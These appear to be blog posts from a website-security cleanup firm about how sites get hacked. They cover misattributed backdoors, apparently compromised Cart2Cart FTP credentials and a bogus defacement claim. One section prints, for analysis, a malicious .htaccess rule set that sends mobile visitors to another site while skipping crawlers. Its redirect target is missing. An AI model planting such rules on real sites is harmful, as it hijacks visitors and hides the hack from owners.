Your Website Probably Wasn’t Hacked Through A Backdoor

When it comes to dealing with hacked websites our experience is that information coming from web hosts often isn’t great. When you consider how terrible many security companies dealing with websites are, it isn’t very surprising that companies that don’t claim that expertise would be bad as well.

Last week over on the blog for our Plugin Vulnerabilities service we discussed one issue that comes up from time to time, which is web hosts claiming that the source of a hack is whatever software that happens to be located where a hacker placed a malicious file. Often times the hacker just randomly place their malicious files, making the location of the file a weak piece of evidence as to the source of the hack in most cases.

Another recent example of this involved someone who contacted about a website that was hacked, cleaned, and then was getting re-infected everyday. In that situation our first question is always if the person that cleaned up the website determine how it was hacked. Seeing as someone doing a cleanup should attempt to determine how a website was hacked, that will tell you if the person doing the cleanup was doing things properly (the response almost always indicates they haven’t). It also important since the re-hacking could indicate that the security vulnerability that allowed the website has not been fixed and knowing what was believed was the cause would provide a better understanding of the situation.

In this case they said that there web host had been hacked through a backdoor (apparently the person that did the cleanup did not determine how the website was hacked). For those not familiar a backdoor would be code that allows a hacker remote access to the website internals. In most cases a backdoor could not be source of a hack since the backdoor would have to have gotten on the website. Usually the hacker will exploit a vulnerability to allow them to place a backdoor on a website and then use the backdoor to perform further actions on the website, so the backdoor isn’t the source of the hacking, only a result of it.

The main exception to this is that occasionally a malicious individual will be able to plant a backdoor into non-malicious code, say sneaking it in to an otherwise legitimate WordPress plugin in the Plugin Directory. That is by no means a common occurrence though.

If your web host or someone else is telling you your website was hacked through a backdoor, you should ask them how it got there to understand if they are correct about the source of if they failed to understand the actual source.

It Appears That FTP Login Credentials Provided To Cart2Cart Were Compromised

When dealing with hacked websites one of the important parts of the process is to determine how the website was hacked. If that isn’t it done the vulnerability that was exploited is more likely to remain open and be exploited again. Amazingly many companies that do hack cleanups don’t do that (which frequently leads to us being hired to re-clean hacked websites).

While dealing with one such case recently we came across evidence that company Cart2Cart was compromised at some point leading to a hacker gaining access to FTP login credentials for websites that were provided to Cart2Cart.

The hacking case we were dealing with was rather serious, as the breach first lead to thousands of dollars of decline fees with a payment processor and then later after that issue was resolved the breach lead to the compromise of credit card credentials used on the website (which is a good reminder of why figuring how the website was hacked and closing the vulnerability in the beginning is so important).

One of the places that is checked when working to determine the source of the hack is the log of FTP activity. For this particular website one of the things we first noticed while looking over that was that there had been access from IP addresses in the Netherlands

Tue Jun 09 05:45:57 2015 0 3326 /home4/[redacted]/public_html/oc_1/bridge2cart/config.php a _ o r [email protected][redacted].com ftp 1 * c
Tue Jun 09 05:46:24 2015 8 911360 /home4/[redacted]/public_html/oc_1/download/XLS-BACKUP-01-01-2014_15-32.xls b _ o r [email protected][redacted].com ftp 1 * c
Tue Jun 09 05:46:50 2015 1 81817 /home4/[redacted]/public_html/oc_1/sql.php a _ i r [email protected][redacted].com ftp 1 * c
Tue Jun 09 05:52:08 2015 0 1296 /home4/[redacted]/public_html/oc_1/config.php a _ o r [email protected][redacted].com ftp 1 * c

and Russia

Thu Jul 16 11:22:17 2015 2 403657 /home4/[redacted]/public_html/oc_1/adm.php b _ i r [email protected][redacted].com ftp 1 * c
Thu Jul 16 11:24:50 2015 0 1267 /home4/[redacted]/public_html/oc_1/config.php b _ o r [email protected][redacted].com ftp 1 * c
Thu Jul 16 11:26:35 2015 2 403657 /home4/[redacted]/public_html/oc_1/adm.php b _ i r [email protected][redacted].com ftp 1 * c
Thu Jul 16 11:27:22 2015 0 7698 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ o r [email protected][redacted].com ftp 1 * c
Thu Jul 16 11:27:27 2015 0 7698 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ o r [email protected][redacted].com ftp 1 * c
Thu Jul 16 11:29:59 2015 0 9761 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ i r [email protected][redacted].com ftp 1 * c
Thu Jul 16 11:38:00 2015 0 1267 /home4/[redacted]/public_html/oc_1/config.php b _ o r [email protected][redacted].com ftp 1 * c

during the summer. Since the website is US based that is usually a strong indication that the FTP login credentials have been compromised. Though it can sometimes be due to someone traveling or use of a foreign service provider. In this case we thought at first it might be the latter because the FTP account was one that looked to have been created especially for the service provided Cart2Cart. Checking with the client we found that it was indeed set up for them, but that their use of Cart2Cart ended more than a year ago.

At this point we had a pretty good idea based on what was in the FTP log that a FTP account had been compromised, but without knowing how it got compromised we couldn’t be sure how to prevent that from happening again or if other logins were also compromised as well. So what was the source of the compromise?

When we did a search on the Russian IP address,, we came across a forum thread from January that described a very similar situation. In that case a FTP account that was “created expressly for [Cart2Cart], no other reason” was making unauthorized changes to the website’s payment module when Cart2Cart should no longer have been accessing it. The only major difference between the two cases is that we were dealing with an OpenCart based website while in the other case it was a PrestaShop based website.

In the thread someone from Cart2Cart responded:

As far as I can see from your screenshots, IP address doesn’t belong to Cart2Cart.

The chances that two FTP accounts created especially for use by Cart2Cart were compromised with malicious access coming from the same IP address and the source of the compromise of these logins not being on Cart2Cart’s end seem to be incredibly small. Since they seem to be a legitimate service provided we don’t believe that they were involved in the hacking themselves, so that leaves us to believe that they must have been compromised at some point.

Their lack of concern in that thread that they might have been compromised doesn’t really jibe with the claim on their website that:

We have taken every precaution to ensure that our systems which store access information is highly secure.

It is also worth noting that the first malicious FTP access to the website we were dealing with, as shown in the FTP log, was two months after the time that forum thread was active.

If you have used Cart2Cart in the past, now would be a good time to make sure you have changed any password you provided them and probably make additional checks of your logs and files to make sure you have not been compromised as well.

Behind the Scenes of a Hack That Causes a Website to Redirect on Mobile Devices

When hackers hack websites they generally try to do things in a way that won’t be easily spotted by the webmaster. Two ways of doing that have long been popular have been to serve up different content when the websites pages are requested by crawlers for search engines (cloaking) and redirecting the website to another location when accessed through a search engine. Recently we have been having an increasing number of people come to us to get their websites cleaned up after their website starts being redirected to a malicious website when accessed from a mobile device.

This redirection can occur on the server side or on the client side. On the server side it would usually be caused malicious code added somewhere in the code that generates the website’s pages or by code added to a .htaccess file. On the client side it would usually be caused by malicious JavaScript code being added to the page or one of the JavaScript files loaded with the page.

Let’s take a look at the code added in one recent .htaccess based incident we cleaned up to get a better idea of what is going on behind the scenes with this type of hack.

First the code turns on Apache’s mod_rewrite module to allow the rest of the code to function.

RewriteEngine on

Next up is the code for detecting that requests is coming from mobile device, which you can see the code is fairly extensive. It starts with some obvious targets, looking for requests where the user agent given includes a mention of popular mobile device software and hardware like Android, BlackBerry, and iPhone. It then checks for a fairly long list of other devices, including what looks to be references for more obscure devices like the Bird D736 and Spice S-940.

RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opera mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (pre/|palm os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows ce|opera mobi|windows ce; smartphone;|windows ce; iemobile) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (mini 9.5|vx1000|lge |m800|e860|u940|ux840|compal|wireless| mobi|ahong|lg380|lgku|lgu900|lg210|lg47|lg920|lg840|lg370|sam-r|mg50|s55|g83|t66|vx400|mk99|d615|d763|el370|sl900|mp500|samu3|samu4|vx10|xda_|samu5|samu6|samu7|samu9|a615|b832|m881|s920|n210|s700|c-810|_h797|mob-x|sk16d|848b|mowser|s580|r800|471x|v120|rim8|c500foma:|160x|x160|480x|x640|t503|w839|i250|sprint|w398samr810|m5252|c7100|mt126|x225|s5330|s820|htil-g1|fly v71|s302|-x113|novarra|k610i|-three|8325rc|8352rc|sanyo|vx54|c888|nx250|n120|mtk |c5588|s710|t880|c5005|i;458x|p404i|s210|c5100|teleca|s940|c500|s590|foma|samsu|vx8|vx9|a1000|_mms|myx|a700|gu1100|bc831|e300|ems100|me701|me702m-three|sd588|s800|8325rc|ac831|mw200|brew |d88|htc/|htc_touch|355x|m50|km100|d736|p-9521|telco|sl74|ktouch|m4u/|me702|8325rc|kddi|phone|lg |sonyericsson|samsung|240x|x320|vx10|nokia|sony cmd|motorola|up.browser||mmp|symbian|smartphone|midp|wap|vodafone|o2|pocket|mobile|treo) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(1207|3gso|4thp|501i|502i|503i|504i|505i|506i|6310|6590|770s|802s|a wa|acer|acs-|airn|alav|asus|attw|au-m|aur |aus |abac|acoo|aiko|alco|alca|amoi|anex|anny|anyw|aptu|arch|argo|bell|bird|bw-n|bw-u|beck|benq|bilb|blac|c55/|cdm-|chtm|capi|cond|craw|dall|dbte|dc-s|dica|ds-d|ds12|dait|devi|dmob|doco|dopo|el49|erk0|esl8|ez40|ez60|ez70|ezos|ezze|elai|emul|eric|ezwa|fake|fly-|fly_|g-mo|g1 u|g560|gf-5|grun|gene|go.w|good|grad|hcit|hd-m|hd-p|hd-t|hei-|hp i|hpip|hs-c|htc |htc-|htca|htcg|htcp|htcs|htct|htc_|haie|hita|huaw|hutc|i-20|i-go|i-ma|i230|iac|iac-|iac/|ig01|im1k|inno|iris|jata|java|kddi|kgt|kgt/|kpt |kwc-|klon|lexi|lg g|lg-a|lg-b|lg-c|lg-d|lg-f|lg-g|lg-k|lg-l|lg-m|lg-o|lg-p|lg-s|lg-t|lg-u|lg-w|lg/k|lg/l|lg/u|lg50|lg54|lge-|lge/|lynx|leno|m1-w|m3ga|m50/|maui|mc01|mc21|mcca|medi|meri|mio8|mioa|mo01|mo02|mode|modo|mot |mot-|mt50|mtp1|mtv |mate|maxo|merc|mits|mobi|motv|mozz|n100|n101|n102|n202|n203|n300|n302|n500|n502|n505|n700|n701|n710|nec-|nem-|newg|neon|netf|noki|nzph|o2 x|o2-x|opwv|owg1|opti|oran|p800|pand|pg-1|pg-2|pg-3|pg-6|pg-8|pg-c|pg13|phil|pn-2|pt-g|palm|pana|pire|pock|pose|psio|qa-a|qc-2|qc-3|qc-5|qc-7|qc07|qc12|qc21|qc32|qc60|qci-|qwap|qtek|r380|r600|raks|rim9|rove|s55/|sage|sams|sc01|sch-|scp-|sdk/|se47|sec-|sec0|sec1|semc|sgh-|shar|sie-|sk-0|sl45|slid|smb3|smt5|sp01|sph-|spv |spv-|sy01|samm|sany|sava|scoo|send|siem|smar|smit|soft|sony|t-mo|t218|t250|t600|t610|t618|tcl-|tdg-|telm|tim-|ts70|tsm-|tsm3|tsm5|tx-9|tagt|talk|teli|topl|hiba|up.b|upg1|utst|v400|v750|veri|vk-v|vk40|vk50|vk52|vk53|vm40|vx98|virg|vite|voda|vulc|w3c |w3c-|wapj|wapp|wapu|wapm|wig |wapi|wapr|wapv|wapy|wapa|waps|wapt|winc|winw|wonu|x700|xda2|xdag|yas-|your|zte-|zeto|acs-|alav|alca|amoi|aste|audi|avan|benq|bird|blac|blaz|brew|brvw|bumb|ccwa|cell|cldc|cmd-|dang|doco|eml2|eric|fetc|hipt|http|ibro|idea|ikom|inno|ipaq|jbro|jemu|java|jigs|kddi|keji|kyoc|kyok|leno|lg-c|lg-d|lg-g|lge-|libw|m-cr|maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|mywa|nec-|newt|nok6|noki|o2im|opwv|palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|rozo|sage|sama|sams|sany|sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo|teli|tim-|tosh|treo|tsm-|upg1|upsi|vk-v|voda|vx52|vx53|vx60|vx61|vx70|vx80|vx81|vx83|vx85|wap-|wapa|wapi|wapp|wapr|webc|whit|winw|wmlb|xda-) [NC,OR]
RewriteCond %{HTTP:Accept} (text/vnd.wap.wml|application/vnd.wap.xhtml+xml) [NC,OR]
RewriteCond %{HTTP:Profile} .+ [NC,OR]
RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]
RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]

Next the code stops the redirection from occurring if the requests are identified as coming from a variety of other sources, including search engine crawlers and PlayStation devices.

RewriteCond %{QUERY_STRING} !noredirect [NC]
RewriteCond %{HTTP_USER_AGENT} !^(Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 offline)$ [NC]
RewriteCond %{HTTP_USER_AGENT} !(windows.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC]

Finally the code that causes the redirection, in this case the website is redirected to when accessed from mobile devices.

RewriteRule ^(.*)$ [L,R=302]

Detecting Server Side Redirects

For server side redirects we have put together a small tool that shows if a given web page redirects when accessed by a mobile device, which should make it easier to troubleshoot that type of situation.

The Cause of The Hack

Since a mobile redirection can be done in a variety ways, there isn’t one thing that would allow this type of hack to occur. With the above code added to the .htaccess we determined it had been caused by a security vulnerability in an outdated WordPress plugin (a good reminder to make sure you keep all of the software on your website up to date). If you are dealing with a hack with this type of redirection it is important to review the logs and other evidence available to try to determine how the hack occurred, so you can be sure the vulnerability has been fixed and the website doesn’t get re-hacked. You should also make sure you are taking the other important security precautions going forward.

Most Website Hackers Are Not Sophisticated

One thing that we see fairly frequently with Internet security companies is that they try to sell their largely unneeded, and usually largely ineffective, security products and services by portraying websites as under constant threat from sophisticated hackers.  The reality is that while few hackers are quite sophisticated, most hackers only have rudimentary skills and basic security measures will prevent your website from being hacked. As an example of what you are dealing with in most cases let’s take a look at someone’s claim on ZONE-H – a website for displaying defaced websites – that they had hacked our website last week. Since that page is supposed to be removed once the claimed defacement is reviewed, here is a screenshot of it:


What you can see with that is that the mirror copy of our website shown from the time of the claimed defacement doesn’t actually show that the website has been hacked. Instead it shows that if you request a page on our website that doesn’t exist you will get a message that it doesn’t exist. Why someone would try to pass that off as defaced/hacked website is unclear to us.

Based on the URL of the supposed defaced page,, what they were trying to exploit was a vulnerability in a WordPress plugin that a) we don’t even use, so there is no chance it could be exploited and b) if we did use it and had the vulnerable outdated version installed they would have needed to try to exploit it from where WordPress is actually installed on our website, which isn’t the root directory of the website as they tried (this could be easily checked on, which again shows the lack of sophistication that usually exists).